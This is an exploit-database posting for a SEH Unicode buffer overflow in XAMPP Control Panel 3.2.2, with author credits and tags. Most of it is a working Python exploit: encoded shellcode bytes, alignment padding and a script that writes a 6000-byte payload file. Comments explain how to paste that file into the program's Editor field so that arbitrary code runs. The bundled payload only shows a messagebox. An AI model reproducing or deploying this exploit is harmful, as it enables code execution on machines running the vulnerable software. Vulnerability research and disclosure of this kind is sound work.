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XAMPP Control Panel 3.2.2 Buffer Overflow

XAMPP Control Panel 3.2.2 Buffer Overflow
Posted Nov 13, 2018
Authored by Gionathan Reale, Semen Alexandrovich Lyhin

XAMPP Control Panel version 3.2.2 SEH unicode buffer overflow exploit.

tags | exploit, overflow
MD5 | fc81a31ec51873be9f0185f023efc416

XAMPP Control Panel 3.2.2 Buffer Overflow

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# Exploit Title: XAMPP Control Panel 3.2.2 - Buffer Overflow (SEH) (Unicode)
# Exploit Author: Gionathan "John" Reale (0-day DoS exploit), Semen Alexandrovich Lyhin (1-day fully working exploit).
# Shellcode Author: Giuseppe D'Amore (EDB:28996)
# Date: 2018-11-08.
# Software: XAMPP
# Version: 3.2.2 / 7.2.9 (Newest version at time of writing)
# Download: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/7.2.9/xampp-portable-win32-7.2.9-0-VC15-installer.exe/download
# Tested on: Windows 10 64bit with XAMPP 32bit. Should work on any Windows since XP.

# Special thanks to Deloitte Ukraine for providing few payed hours to create this exploit.

# Steps to Reproduce:
# Run the python exploit script, it will create a new file with the name "exploit.txt".
# Copy the contents of "exploit.txt"
# Start the program and click "Config (Top Right With Symbol)"
# Paste the contents of "exploit.txt" into the following field: "Editor".
# Click "Save" and then in the main window Click "Config" > "Apache (httpd.conf)".
# You will see that arbitrary code is executed. It should pop a messagebox.

#cat 28996.bin | msfvenom -p - -a x86 --platform win -f py -e x86/unicode_mixed BufferRegister=EAX
#Length is 352, but double it.

buf = ""
buf += "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49"
buf += "\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41"
buf += "\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51\x41\x44\x41"
buf += "\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51"
buf += "\x41\x49\x41\x51\x41\x49\x41\x68\x41\x41\x41\x5a\x31"
buf += "\x41\x49\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41"
buf += "\x42\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49\x41"
buf += "\x49\x51\x49\x31\x31\x31\x41\x49\x41\x4a\x51\x59\x41"
buf += "\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x6b\x4d\x41"
buf += "\x47\x42\x39\x75\x34\x4a\x42\x50\x31\x4a\x32\x68\x32"
buf += "\x50\x30\x61\x54\x34\x4b\x4a\x72\x74\x4b\x72\x32\x6a"
buf += "\x6c\x44\x4b\x4e\x72\x4d\x4c\x62\x6b\x4d\x72\x79\x78"
buf += "\x62\x6b\x31\x62\x4d\x50\x34\x4b\x4b\x62\x31\x70\x51"
buf += "\x6e\x6a\x6c\x50\x33\x62\x55\x68\x72\x75\x39\x69\x37"
buf += "\x4a\x63\x51\x68\x6f\x4c\x52\x6b\x4f\x67\x44\x38\x4a"
buf += "\x61\x45\x72\x52\x6b\x33\x4a\x4f\x30\x7a\x61\x77\x57"
buf += "\x4e\x51\x38\x6d\x64\x4b\x4d\x64\x74\x6f\x4a\x61\x36"
buf += "\x66\x70\x45\x42\x61\x6d\x6e\x4e\x66\x43\x31\x64\x34"
buf += "\x50\x61\x72\x55\x58\x72\x32\x61\x53\x4e\x49\x78\x6f"
buf += "\x55\x51\x68\x32\x49\x53\x44\x32\x55\x57\x79\x52\x6b"
buf += "\x53\x4a\x6f\x34\x4a\x61\x55\x77\x6f\x76\x62\x6b\x6e"
buf += "\x4c\x50\x6f\x54\x4b\x51\x6a\x6d\x4c\x6d\x31\x36\x67"
buf += "\x42\x6b\x63\x4c\x36\x4f\x79\x6c\x39\x71\x37\x57\x72"
buf += "\x48\x4d\x75\x4f\x54\x4f\x31\x6b\x51\x33\x38\x30\x4c"
buf += "\x6e\x6f\x71\x39\x4e\x74\x50\x68\x6b\x70\x51\x35\x6f"
buf += "\x68\x42\x30\x71\x79\x69\x51\x59\x6e\x70\x49\x5a\x6b"
buf += "\x4c\x71\x47\x50\x4e\x71\x62\x30\x69\x6f\x59\x47\x41"
buf += "\x41"

# venetian padding

ven = "\x53" #push esi
ven += "\x43" #align
ven += "\x58" #pop eax
ven += "\x43" #align
ven += "\x05\x50\x11" #add eax,11005000
ven += "\x43" #align
ven += "\x2d\x1c\x11" #sub eax,33001700
ven += "\x43" #align
ven += "\x48" #dec eax
ven += "\x43" #align
ven += "\x43"*2 #nops

payload = "\x43"*270 + "\x37\x53" + ven + buf + "\x43" * (6000 - 2 - 270 - len(ven+buf))

try:
f=open("exploit.txt","w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"


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